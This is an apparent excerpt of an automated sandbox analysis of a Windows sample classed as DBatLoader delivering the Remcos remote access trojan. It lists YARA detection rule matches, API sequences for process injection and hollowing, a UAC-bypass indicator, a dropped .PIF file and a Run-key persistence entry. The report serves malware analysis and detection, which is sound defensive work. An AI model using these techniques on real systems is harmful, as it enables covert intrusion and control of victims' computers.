                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00416702 ExitWindowsEx,LoadLibraryA,GetProcAddress,1_2_00416702
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: String function: 02CB4824 appears 328 times
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: String function: 02CB4698 appears 80 times
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: String function: 004346C2 appears 41 times
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: String function: 00402093 appears 50 times
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: String function: 00401E65 appears 33 times
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: String function: 00434D80 appears 54 times
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCA6A0 GetModuleHandleW,GetProcAddress,NtOpenProcess,GetCurrentProcess,IsBadReadPtr,IsBadReadPtr,GetCurrentProcess,GetModuleHandleW,GetProcAddress,NtWriteVirtualMemory,GetModuleHandleW,GetProcAddress,RtlCreateUserThread,CloseHandle,NtFreeVirtualMemory,GetCurrentProcess,NtFreeVirtualMemory,GetCurrentProcess,NtFreeVirtualMemory,0_2_02CCA6A0
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCCAB0 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,0_2_02CCCAB0
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7A50 GetModuleHandleW,GetProcAddress,NtProtectVirtualMemory,0_2_02CC7A50
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCCB94 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,0_2_02CCCB94
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7B74 LoadLibraryExA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtProtectVirtualMemory,GetCurrentProcess,NtWriteVirtualMemory,FreeLibrary,0_2_02CC7B74
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7B14 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,0_2_02CC7B14
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCD85C InetIsOffline,CoInitialize,CoUninitialize,WinExec,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,GetCurrentProcess,FlushInstructionCache,GetCurrentProcess,ExitProcess,0_2_02CCD85C
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC79BC GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,0_2_02CC79BC
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCCA20 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,0_2_02CCCA20
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCCF5C CreateProcessAsUserW,NtCreateProcess,WaitForSingleObject,CloseHandle,CloseHandle,0_2_02CCCF5C
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7F00 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,0_2_02CC7F00
                    Source: Fnvtdhenapsfwu.exeBinary or memory string: OriginalFilename vs Fnvtdhenapsfwu.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.218479200.000000000EB7F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs Fnvtdhenapsfwu.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000003.213652513.000000007EED0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs Fnvtdhenapsfwu.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.220939596.000000007F4A0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs Fnvtdhenapsfwu.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLOADER.EXEB vs Fnvtdhenapsfwu.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.221331055.000000007FD20000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLOADER.EXEB vs Fnvtdhenapsfwu.exe
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile created: C:\Users\Public\Libraries\Fnvtdhen.PIFJump to behavior
                    Source: classification engineClassification label: mal100.rans.troj.spyw.expl.evad.winEXE@6/3@4/3
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041A99C OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,1_2_0041A99C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041B3FA FindResourceA,LoadResource,LockResource,SizeofResource,1_2_0041B3FA
                    Source: Fnvtdhenapsfwu.exeReversingLabs: Detection: 62%
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile read: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\Fnvtdhenapsfwu.exe C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
                    Source: unknownProcess created: C:\Users\Public\Libraries\Fnvtdhen.PIF "C:\Users\Public\Libraries\Fnvtdhen.PIF"
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exeJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exeJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32Jump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004178A4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,1_2_004178A4
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC6DC0 CoCreateInstance,0_2_02CC6DC0
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB7FB8 GetDiskFreeSpaceA,0_2_02CB7FB8
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCA2F0 CreateToolhelp32Snapshot,0_2_02CCA2F0
                    Source: C:\Windows\SysWOW64\SndVol.exeMutant created: \Sessions\1\BaseNamedObjects\RmEEESSSssss-3AINT8
                    Source: C:\Windows\SysWOW64\SndVol.exeMutant created: \Sessions\1\BaseNamedObjects\Windows Volume App Window
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Windows\SysWOW64\colorcpl.exeWindow found: window name: SysTabControl32Jump to behavior
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Windows\SysWOW64\colorcpl.exeWindow detected: Number of UI elements: 12
                    Source: Fnvtdhenapsfwu.exeStatic file information: File size 1243648 > 1048576
                    Source: Binary string: easinvoker.pdb source: Fnvtdhenapsfwu.exe, 00000000.00000002.218479200.000000000EB7F000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000003.213652513.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.220939596.000000007F4A0000.00000004.00001000.00020000.00000000.sdmp
                    Source: Binary string: easinvoker.pdbH source: Fnvtdhenapsfwu.exe, 00000000.00000002.218479200.000000000EB7F000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000003.213652513.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.220939596.000000007F4A0000.00000004.00001000.00020000.00000000.sdmp

                    Data Obfuscation

                    barindex
                    Yara detected DBatLoader
                    Source: Yara matchFile source: Fnvtdhenapsfwu.exe, type: SAMPLE
                    Source: Yara matchFile source: 0.2.Fnvtdhenapsfwu.exe.2cb0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.0.Fnvtdhenapsfwu.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: C:\Users\Public\Libraries\Fnvtdhen.PIF, type: DROPPED
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CD82F4 push 02CD835Fh; ret 0_2_02CD8357
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB32F0 push eax; ret 0_2_02CB332C
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB6372 push 02CB63CFh; ret 0_2_02CB63C7
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB6374 push 02CB63CFh; ret 0_2_02CB63C7
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CD80AC push 02CD8125h; ret 0_2_02CD811D
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC3050 push 02CC309Dh; ret 0_2_02CC3095
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCA038 push 02CCA070h; ret 0_2_02CCA068
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CD81F8 push 02CD8288h; ret 0_2_02CD8280
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CD8144 push 02CD81ECh; ret 0_2_02CD81E4
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CDC10C push eax; ret 0_2_02CDC1DC
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CD76B0 push 02CD78C8h; ret 0_2_02CD78C0
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB9740 pushfd ; retf 0_2_02CB9747
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB6768 push 02CB67AAh; ret 0_2_02CB67A2
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB6766 push 02CB67AAh; ret 0_2_02CB67A2
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB9724 push FFFFFF9Ah; retf 0_2_02CB972F
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB9730 pushfd ; retf 0_2_02CB973F
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCD498 push ecx; mov dword ptr [esp], edx0_2_02CCD49D
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CBD584 push 02CBD5B0h; ret 0_2_02CBD5A8
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CBC550 push ecx; mov dword ptr [esp], edx0_2_02CBC555
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CBCBD0 push 02CBCD56h; ret 0_2_02CBCD4E
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC6940 push 02CC69EBh; ret 0_2_02CC69E3
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCC908 push 02CCC940h; ret 0_2_02CCC938
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7904 push 02CC7981h; ret 0_2_02CC7979
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB6FFB push FFFFFFCBh; retf 0_2_02CB7002
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC2F44 push 02CC2FBAh; ret 0_2_02CC2FB2
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00457056 push ecx; ret 1_2_00457069
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0045B11A push esp; ret 1_2_0045B141
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0045E54D push esi; ret 1_2_0045E556
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00457978 push eax; ret 1_2_00457996
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00434DC6 push ecx; ret 1_2_00434DD9
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CC7B14 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,0_2_02CC7B14

                    Persistence and Installation Behavior

                    barindex
                    Drops PE files with a suspicious file extension
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile created: C:\Users\Public\Libraries\Fnvtdhen.PIFJump to dropped file
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeFile created: C:\Users\Public\Libraries\Fnvtdhen.PIFJump to dropped file
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00406EB0 ShellExecuteW,URLDownloadToFileW,1_2_00406EB0
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FnvtdhenJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FnvtdhenJump to behavior
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041A99C OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,1_2_0041A99C
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCA074 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_02CCA074
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
